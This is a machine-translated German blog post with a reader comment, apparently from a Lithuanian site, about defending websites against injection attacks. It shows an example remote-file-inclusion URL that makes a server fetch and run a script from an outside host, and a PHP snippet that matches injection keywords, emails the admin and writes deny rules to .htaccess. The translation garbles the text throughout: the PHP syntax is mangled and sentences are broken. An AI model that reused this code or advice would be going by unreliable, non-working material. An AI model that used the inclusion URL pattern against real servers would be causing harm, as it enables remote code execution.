Es ist notwendig, Blog und Web-Sicherheit
Sie wissen wahrscheinlich, dass in vielen Fällen, Webseiten oder Blogs zu hacken, vermasseln, verunreinigen vielen sinnlosen anonymen Kommentare automatisch versuchen, mit einigen Skripten. Natürlich gilt auch ziemlich oft in den manuellen Modus haben Sie keine Ahnung, was eine ziemlich beeindruckende Zahl Abies Fällen eine Methode der Verteidigung wirklich ist -.. Überprüfen Zugriffe und andere IP-Parameter an die Übeltäter geschickt, und um sie zu blockieren. Nutzen Sie einfach meine vorgeschlagenen Methoden, nicht nur sich selbst zu verteidigen, sondern auch um herauszufinden, wie weit und wie oft du angreifst. Mehr ...
Schutz Blog
Obwohl das Verzeichnis bietet eine "manuelle" Art und Weise der Verwendung von Wordpress ist ein besonderer Schutz, der für einen sichereren und saubereren Website erlaubt - TimesToCome Sicherheits-Plugin . Nach der Installation dieses Plugin fügt Sicherheitsparameter. Persönlich benutze ich die folgende IP blockiert, die User-Agent und Anfragen - ein Teil des Grundes, wie Sie die gefangen Show hier (Sie können auch Ihre Unterlagen). Und obwohl Sie auch in Firefox, Internet Explorer sehen kann - es wird oft auch als Bots.
Warnung. Nepriisiimu jede Verantwortung für die hier blockiert die IP, User Agent, Abfragen, lassen jeden Besucher, um zu entscheiden, ob eine Aufzeichnung geeignet ist, zur Verfügung gestellt.
| Gesperrte IP: (Dies ist Ihre IP-Liste verbannt :) | Blockierte Anwenderprogramme (Dies ist Ihr Agent verbannt Liste) | Blockierte Zugriffe (Dies ist Ihre Anfrage Blacklist) |
12.192.82.221 | AnotherBot | $ _GET |
Was ist die Abfrage und warum sie brauchen, um zu blockieren? Nehmen wir an, Ihre Website ist ein Schlupfloch, oder einfach nur die Offensive papuolėte Horizont (aber oft nur durch Angriffe auf Offensive Abfragen in einer Zeile).
Angenommen, eine Datei sidebar.php unsicher verbrachte die Abfragevariable VARIABLE sidebar.php? VARIABLE = http://www.kompiuteriszombis.com/botas.txt, Ihren Server botas.txt Skript ausgeführt wird, und man kann sagen, in den meisten Fällen ist Ihr Server bereits gehackt.
Website-Sicherheit.
Wenn Sie eine Website haben, können Sie dieses Skript verwenden, müssen Sie Ihre index.php speichern und ändern nemapirškite email@email.com in Ihrer E-Mail. E-Mail
/ ******************************* Antihack START **************** ************** /
/ / Prüfen Injektion
$ Req = $ _SERVER ['REQUEST_URI'];
Cadena $ = explode ($ Req "?");
$ = $ Mi_url Cadena [0];
$ = $ Cadena Restaurants [1];
/ / Hier können Sie Ihren Verdacht Ketten an Ihrem Willen setzen. Nur vorsichtig sein, von
/ / Zufälle nicht fragen Sie Ihren URLs mit Variablen und Parameter
$ Inyecc = '/ script | http | <|> |% 3c |% 3e | Auswählen | UNION | UPDATE | exe | exec | INSERT | tmp / i ";
/ / Erkennung
if (preg_match ($ inyecc, $ resto) &&! $ _REQUEST ['FullUrl']) {
/ / Mach was, im Beispiel per E-Mail-Warnung an Administrator
/ / $ Ip = $ HTTP_SERVER_VARS ["http_client_ip"];
$ Ip = $ _SERVER ['REMOTE_ADDR'];
Weitergeleitete $ = $ HTTP_SERVER_VARS ['HTTP_X_FORWARDED_FOR'];
$ = $ RemoteAddress HTTP_SERVER_VARS ["REMOTE_ADDR"];
$ Message = "Injection-Angriff in mi_url $ \ n \ nchain: $ resto \ n \ n
Von: (IP-zukunftsg-RA): - $ ip - $ Weitergeleitete - $ RemoteAddress \ n \ n
--- Ende ------- ";
E-Mail ( email@email.com , "Injection Attack", $ message,
"Von:" info @ {$ _SERVER ['SERVER_NAME']} ","-fwebmaster @ {$ _SERVER ['SERVER_NAME']} ");
# # # # Uzbaninam zu. Htaccess
$ Fh = fopen ('htaccess.', 'A') or die ("Konnte Datei nicht öffnen.");
Towrite $ = "\ n # $ RemoteAddress - $ rest";
Towrite $ = "\ Ndeny von $ ip \ n".;
fwrite ($ fh, $ towrite);
fclose ($ fh);
# # # #
/ / Kill die Nachricht und Ausführung
echo 'illegale url';
die ();
}
/ ******************************* Antihack END **************** ************** /














2008 12 20 10:12
Für solche vor langer Zeit dalikams Apache mod_security erstellt wird - ich brauche nicht das Rad neu erfinden.
Wie für preg'o - wurde nicht in "ftp" Protokoll "Delete SQL-Abfrage erwähnt. Ebenfalls untersucht nicht nur die Abfrage, aber Variablennamen - so, bevor Sie diesen Code, jeder muss es für bedeutsam, dass der Einsatz
Beja, können SQL-Injection getan werden, und auf die linke Seite des "?" Eančia Adresse.
Wenn das System Code ist krumm - nur GET-Request wird nicht genug Schutz zu sein, müssen die Beiträge und Cookies zu filtern.
Es wäre viel angenehmer, die litauische Codekommentare überall sehen, nicht nur an einigen Stellen.
Nun, die Zertifikate für die htaccess Datei -. Nicht der sicherste Beruf. Natürlich hängt alles von dem Host-System.